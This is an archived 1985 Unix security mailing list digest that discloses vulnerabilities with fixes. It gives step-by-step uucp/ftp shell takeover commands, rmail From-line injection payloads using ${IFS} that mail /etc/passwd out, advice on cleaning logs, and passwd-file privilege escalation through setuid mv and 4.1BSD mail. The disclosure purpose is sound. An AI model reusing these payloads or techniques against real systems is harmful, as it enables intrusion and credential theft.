Date: 01 Aug 85 21:28:44 MST (Thu)
Subject: Security Mailing List, # 19

----------------------------------------------------------------------------

Newcomers to the list since last issue:
        Al Gettier (al@infoswx)
        Ray Davis (bees@infoswx)
        Ken Lester (ektools!ken@kodak)
        Jon Sieber (mit-vax!jon@mit-eddie)
        Robin Lake (nitrex!rbl@cwruecmp)
        Rob Robertson (nitrex!rob@cwruecmp)
        Nigel Horne (njh@rootcl)
        Pat Keziah (pjk@ascvax)
        Hokey (root@plus5)
        Mark Verber (unix-security@osu-eddie)

----------------------------------------------------------------------------

>From utzoo!utflis!rayan  Fri Jun 21 04:58:57 1985 remote from allegra
Date: Wed, 19 Jun 85 18:17:57 edt
Subject: network related security problems

Here are a couple of things I hope people will have fixed in 4.3 (hint),
and that are perhaps serious enough for people to do something about on
the 4.2bsd systems out there.

----

Scenario:

Several hosts on the same network reachable with ftp.

Given that one knows the password of an account on the target machine
with the same uid as uucp (it is common practice to have a uu<host>
login for each neighboring uucp host), this is what to do to get a
shell on the target without any previous access to that machine:

1.      ftp target

Login on the uu<host> account you know the password of (say, 'uuhost').

Within ftp now, do:

2.      cd /usr/lib/uucp
3.      get L.cmds
4.      ^Z                      # suspend ftp

Augment the local copy of the remote host's L.cmds file with whatever
commands you want to be able to execute.

5.      echo chsh >> L.cmds     # add 'chsh' to the L.cmds file
6.      fg                      # get back into ftp
7.      put L.cmds
8.      bye                     # finish the ftp session

Now uux on the target machine will think chsh is a valid command to execute.

9.      uux 'target!chsh /bin/csh'      # arrange to execute the chsh command

Wait until the uux has finished

Dial up (or use network) to login to target machine as uuhost, known passwd.
Presto, infiltration of host. Needless to say, uucp owned programs are
prime candidates for trojan horses, etc...

Go looking for more host-password combinations in L.sys
Repeat with all hosts in L.sys that are reachable with ftp.
If you just wanted this information, you could have gotten L.sys in
step 3 above, and only one line (in wtmp - the ftp login) would indicate
what had happened.

The trail left behind by the above steps, on the target machine, is an
entry in wtmp showing ftp login to uu<host>, and a couple of lines in
LOGFILE for the uux. Since LOGFILE is owned by uucp that is easily cleaned up.

The consequences of doing this on the ARPAnet are a bit mindboggling;
a couple of hundred (?) machines compromised perhaps. Not to mention the
leakage of phone numbers and access sequences (through some switch e.g.),
which can hurt *all* machines mentioned in the L.sys files.

Immediate fix:

Make sure all your uucp alias account names are mentioned in /etc/ftpusers.

Better (?) fix:

Change ftp to check against the uid of the accounts mentioned in ftpusers,
not just the name itself.

----

Subtle ways of breaking security:

The traditional 'fix' to the well-known .forward security hole of uucp
(letting the thing to forward to be a program that will then run with uucp
privilidges on the victim host and then sending mail to uucp), namely to
set up a mail alias for uucp, can be circumvented. (pheew - sorry)

To circumvent a /usr/lib/aliases alias for uucp, arrange to execute the
following on the victim host:

rmail uucp << \EOF
>From host!user${IFS}-n
sljdf
EOF

(e.g. by 'uux - host!rmail uucp << \EOF' etc.)

To get the password (or L.sys...) file mailed to you:

use uux to create the following situation on a remote host:

rmail someone << \EOF
>From x!y${IFS}someone;mail${IFS}you</etc/passwd;echo
anything
EOF

I do believe this is nearly untraceable... i.e. it will of course show
up in LOGFILE, SYSLOG, syslog, acct, etc, but it can look *very* innocent.
The only limit on this is that the last '!' after the From must be followed
by less than 64 characters to the end of line. This limit is due to the
buffer size used by rmail for the From line and individual components.

The simple fix to rmail.c is to check for (and throw away - or bring to
the attention of root) mail that contains a $ sign anywhere in the From line.

Note that with appropriate incantations, and luck, one can corrupt systems
more than one hop away.

Note: this hole only exists on systems running sendmail's rmail from 4.2.
I doubt it exists on other systems, but PLEASE CHECK.

----

Sleep well...

rayan

Rayan Zachariassen,  University of Toronto 
UUCP  {ihnp4 utzoo decwrl uw-beaver}!utcsri![utflis!]rayan
CSNet rayan@toronto
ARPA  rayan%toronto@csnet-relay

----------------------------------------------------------------------------

From: ihnp4!decvax!cwruecmp!nitrex!rob
Date: Fri, 26 Jul 85 15:02:26 edt
Subject: Unix PC's mv has the uid bit set


A friend just pointed this out, I don't really know if it is old news or not,
but on the Unix Pc the system software is shipped with the set uid bit
set on /bin/mv.  This enables a user to copy the passwd file to their
directory edit out the root passwd, copy it back and then su to root.

This is a real security breach, especially in the area AT&T is marketing
the Unix pc to, the business users, who as a whole don't even know what
a set uid bit is.

rob robertson
!decvax!cwruecmp!nitrex!rob

----------------------------------------------------------------------------

From: ihnp4!plus5!root
Date: 28 Jul 85 13:13:52 CDT (Sun)
Subject: Mail security

The mailing of the security list is very interesting!  I was trying to think
of a way to keep unauthorized people from seeing the stuff (not significant
here, but other places are not so lucky).  Unfortunately, most sites which
run sendmail (or those which use mailx as rmail) cannot protect against people
changing the aliases file and getting copies for themselves!

I think it may be neccessary for the mail systems to provide for (at least)
two separate alias lists.  One which is writable (and perhaps only readable)
by trusted users, and another which is generally writable.  THis way, root
mail (and any other "dangerous" users) could be aliased from the secure
alias file only.  Of course, the mailer would have to prevent aliases from
being used in the public alias list if the user was mentioned in the private
list.

There is an additional problem with mailx.  Mailx will permit the aliasing of
*remote* users.  This means that if a site upstream mailx (or Mail) as rmail,
it can grab copies of mail sent to specific users at downstream sites!

I suspect the only solution is to use encrypted mail, which is not really
available.

Hokey

----------------------------------------------------------------------------

Subject: 4.1BSD Mail security hole
Date: 31 Jul 85 23:27:39 N (Wed)
From: Bjorn Eriksen <hao!seismo!enea!ber>

I'm not sure if this has been out before and perhaps it's obsolite
as it concerns Mail in 4.1BSD, but some might still use it.
Recently I had to help a 4.1BSD site that had run out of disk space
on /usr as I had sent them to much news. Their superuser was on
vacation so I had to do it myself. I have a guest account on that
machine and started to look for a security hole. Mail is always a
good start.

4.1 has /usr/bin/mail setuid to root and when saving mail in a file
it doesn't check permissions, so I mailed myself a letter with a
passwd-entry, one just like root but without password and another
login name. When I got the mail delivered I could then just let
/usr/ucb/mail append that letter to /etc/passwd and then 'su' to
this new root account.

PS. I fixed there disk problem and notified their sysadmin about this
new problem. As I don't have the 4.1 source around anymore I don't have
a fix. This problem does not exist in 4.2. Anyone know why mail had to
be setuid to root?

--------
        Bjorn Eriksen
        ENEA DATA Sweden

        UUCP:   {seismo,mcvax,cernvax,diku,ircam,prlb2,tut,ukc,unido}!enea!ber
        ARPA:   enea!ber@seismo.arpa

----------------------------------------------------------------------------

                    The UNIX security issues mail list

               Ignore the headers on this list and mail to:
           ...denelcor!security            (mail for the list).
            ...denelcor!sec-request         (administrativia).